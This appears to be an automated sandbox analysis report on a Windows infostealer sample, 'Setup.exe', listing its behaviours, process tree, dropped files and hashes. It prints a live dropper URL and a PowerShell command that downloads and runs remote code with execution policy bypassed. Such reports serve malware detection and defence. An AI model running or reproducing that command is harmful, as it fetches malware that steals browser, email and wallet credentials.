Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250619-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250619-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    11/10/2025, 09:48

General

  • Target
    Setup.exe
  • Size 4.2MB
  • Sample251011-ls5ppaek7x
  • SHA256 340d84a0bfd03dc58dcfe7c06f655df2a99285627fb36e209c5fadc1710ff0f9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/mix2pgYCDbF4pdNYtz

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4108
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2360
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:1908
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:1880
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:472
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:4016
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:5092
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:60
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:5116
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1520
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/mix2pgYCDbF4pdNYtz')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2900
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:6016
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:2200

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        9053E51.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\9053E51.tmp
                        • Size 1.2MB
                        • SHA256 1a8b3f46da72a9ad01ea3519511ef7c061b293c095551761521031036550d7f6
                        • MD5 SHA1 SHA512 SSDEEP

                        BEA5CA9.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\BEA5CA9.tmp
                        • Size 40B
                        • SHA256 bd16a83f373dd48eaa430ee2fe0cfa8b8f65dc10ad6dfe78df36a5fea4ef927b
                        • MD5 SHA1 SHA512

                        MicrosoftEdgeUpdate.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
                        • Size 201KB
                        • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_ynmwzbww.zlh.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynmwzbww.zlh.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        memory/60-33-0x000001C5952E0000-0x000001C5952E2000-memory.dmp

                        memory/472-29-0x000001D210A00000-0x000001D210A02000-memory.dmp

                        memory/1520-48-0x00000000035D0000-0x0000000003BE0000-memory.dmp

                        memory/1520-49-0x00000000035D0000-0x0000000003BE0000-memory.dmp

                        memory/1520-47-0x00000000035D0000-0x0000000003BE0000-memory.dmp

                        memory/1520-42-0x0000000000FF0000-0x0000000000FF3000-memory.dmp

                        memory/1520-43-0x00000000035D0000-0x0000000003BE0000-memory.dmp

                        memory/1520-41-0x0000000000900000-0x0000000000EE0000-memory.dmp

                        memory/1880-28-0x000001A29B7A0000-0x000001A29B7A2000-memory.dmp

                        memory/1908-27-0x000002682E0E0000-0x000002682E0E2000-memory.dmp

                        memory/2360-26-0x0000023DA67D0000-0x0000023DA67D2000-memory.dmp

                        memory/2900-54-0x0000000005B40000-0x0000000005BA6000-memory.dmp

                        memory/2900-52-0x00000000051F0000-0x0000000005212000-memory.dmp

                        memory/2900-53-0x0000000005A60000-0x0000000005AC6000-memory.dmp

                        memory/2900-62-0x0000000005BB0000-0x0000000005F07000-memory.dmp

                        memory/2900-63-0x0000000006130000-0x000000000614E000-memory.dmp

                        memory/2900-64-0x0000000006180000-0x00000000061CC000-memory.dmp

                        memory/2900-51-0x0000000005220000-0x00000000058EA000-memory.dmp

                        memory/2900-50-0x0000000004AE0000-0x0000000004B16000-memory.dmp

                        memory/2900-66-0x00000000066C0000-0x00000000066DA000-memory.dmp

                        memory/2900-65-0x0000000007980000-0x0000000007FFA000-memory.dmp

                        memory/2900-70-0x0000000073F60000-0x0000000074711000-memory.dmp

                        memory/2900-71-0x000000000D000000-0x000000000D096000-memory.dmp

                        memory/2900-72-0x00000000078F0000-0x0000000007912000-memory.dmp

                        memory/2900-73-0x000000000D650000-0x000000000DBF6000-memory.dmp

                        memory/2912-17-0x0000000072E85000-0x0000000072E86000-memory.dmp

                        memory/2912-8-0x0000000000400000-0x00000000008B4000-memory.dmp

                        memory/2912-2-0x00007FF854530000-0x00007FF854728000-memory.dmp

                        memory/2912-6-0x0000000072E71000-0x0000000072E86000-memory.dmp

                        memory/2912-5-0x0000000072E85000-0x0000000072E86000-memory.dmp

                        memory/2912-9-0x00000000026D0000-0x0000000002784000-memory.dmp

                        memory/2912-16-0x0000000072E71000-0x0000000072E86000-memory.dmp

                        memory/2912-18-0x0000000072E71000-0x0000000072E86000-memory.dmp

                        memory/2912-0-0x00000000026D0000-0x0000000002784000-memory.dmp

                        memory/3892-11-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-24-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-30-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-15-0x00007FF854530000-0x00007FF854728000-memory.dmp

                        memory/3892-67-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-34-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-19-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/3892-69-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4016-31-0x000001ED31060000-0x000001ED31062000-memory.dmp

                        memory/4108-25-0x000001A28A690000-0x000001A28A692000-memory.dmp

                        memory/5092-32-0x0000011AC1890000-0x0000011AC1892000-memory.dmp

                        memory/5116-35-0x0000000000F90000-0x0000000000FDE000-memory.dmp

                        memory/5116-36-0x0000000001630000-0x0000000001633000-memory.dmp

                        memory/5116-37-0x0000000002D90000-0x0000000002DE2000-memory.dmp